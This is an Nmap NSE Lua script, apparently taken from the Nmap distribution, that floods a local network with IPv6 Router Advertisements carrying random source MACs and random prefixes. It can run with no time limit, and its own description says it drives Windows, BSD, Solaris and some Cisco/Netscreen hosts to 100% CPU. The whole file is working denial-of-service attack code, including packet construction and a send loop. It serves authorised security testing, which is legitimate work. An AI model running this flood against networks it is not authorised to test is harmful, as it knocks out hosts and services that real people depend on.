local nmap = require "nmap" local packet = require "packet" local stdnse = require "stdnse" local math = require "math" local string = require "string" local os = require "os" description = [[ Generates a flood of Router Advertisements (RA) with random source MAC addresses and IPv6 prefixes. Computers, which have stateless autoconfiguration enabled by default (every major OS), will start to compute IPv6 suffix and update their routing table to reflect the accepted announcement. This will cause 100% CPU usage on Windows and platforms, preventing to process other application requests. Vulnerable platforms: * All Cisco IOS ASA with firmware < November 2010 * All Netscreen versions supporting IPv6 * Windows 2000/XP/2003/Vista/7/2008/8/2012 * All FreeBSD versions * All NetBSD versions * All Solaris/Illumos versions Security advisory: http://www.mh-sec.de/downloads/mh-RA_flooding_CVE-2010-multiple.txt WARNING: This script is dangerous and is very likely to bring down a server or network appliance. It should not be run in a production environment unless you (and, more importantly, the business) understand the risks! Additional documents: https://tools.ietf.org/rfc/rfc6104.txt ]] --- -- @args ipv6-ra-flood.interface defines interface we should broadcast on -- @args ipv6-ra-flood.timeout runs the script until the timeout (in seconds) is reached (default: 30s). If timeout is zero, the script will run forever. -- -- @usage -- nmap -6 --script ipv6-ra-flood.nse -- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=' -- nmap -6 --script ipv6-ra-flood.nse --script-args 'interface=,timeout=10s' author = "Adam Števko" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"dos", "intrusive"} try = nmap.new_try() math.randomseed(os.time()) prerule = function() if nmap.address_family() ~= "inet6" then stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME) return false end if not nmap.is_privileged() then stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME) return false end if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME) return false end return true end local function get_interface() local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface() local if_table = nmap.get_interface_info(arg_interface) if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then return if_table.device else stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface) end end --- Generates random MAC address -- @return mac string containing random MAC address local function random_mac() local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1) return mac end --- Generates random IPv6 prefix -- @return prefix string containing random IPv6 /64 prefix local function get_random_prefix() local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1) return prefix end --- Build an ICMPv6 payload of Router Advertisement. -- @param mac_src six-byte string of the source MAC address. -- @param prefix 16-byte string of IPv6 address. -- @param prefix_len integer that represents the length of the prefix. -- @param valid_time integer that represents the valid time of the prefix. -- @param preferred_time integer that represents the preferred time of the prefix. -- @param mtu integer that represents MTU of the link -- @return icmpv6_payload string representing ICMPv6 RA payload local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu) local ra_msg = string.char(0x0, --cur hop limit 0x08, --flags 0x00,0x00, --router lifetime 0x00,0x00,0x00,0x00, --reachable time 0x00,0x00,0x00,0x00) --retrans timer local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved packet.numtostr32(mtu) -- MTU local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto packet.set_u32("....", 0, valid_time) .. -- valid lifetime packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime string.char(0,0,0,0) .. --unknown prefix local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg) local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg) local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src) local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option return icmpv6_payload end --- Broadcasting on the selected interface -- @param iface table containing interface information local function broadcast_on_interface(iface) stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface) -- packet counter local counter = 0 local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout") or "30s") local dnet = nmap.new_dnet() try(dnet:ethernet_open(iface)) local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_ip6_addr = packet.ip6tobin("ff02::1") local prefix_len = 64 --- maximum possible value of 4-byte integer local valid_time = tonumber(0xffffffff) local preffered_time = tonumber(0xffffffff) local mtu = 1500 local start, stop = os.time() while true do local src_mac = packet.mactobin(random_mac()) local src_ip6_addr = packet.mac_to_lladdr(src_mac) local prefix = packet.ip6tobin(get_random_prefix()) local packet = packet.Frame:new() packet.mac_src = src_mac packet.mac_dst = dst_mac packet.ip_bin_src = src_ip6_addr packet.ip_bin_dst = dst_ip6_addr local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu) packet:build_icmpv6_header(134, 0, icmpv6_payload) packet:build_ipv6_packet() packet:build_ether_frame() try(dnet:ethernet_send(packet.frame_buf)) counter = counter + 1 if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then stop = os.time() break end end if counter > 0 then stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start) end end function action() local interface = get_interface() broadcast_on_interface(interface) end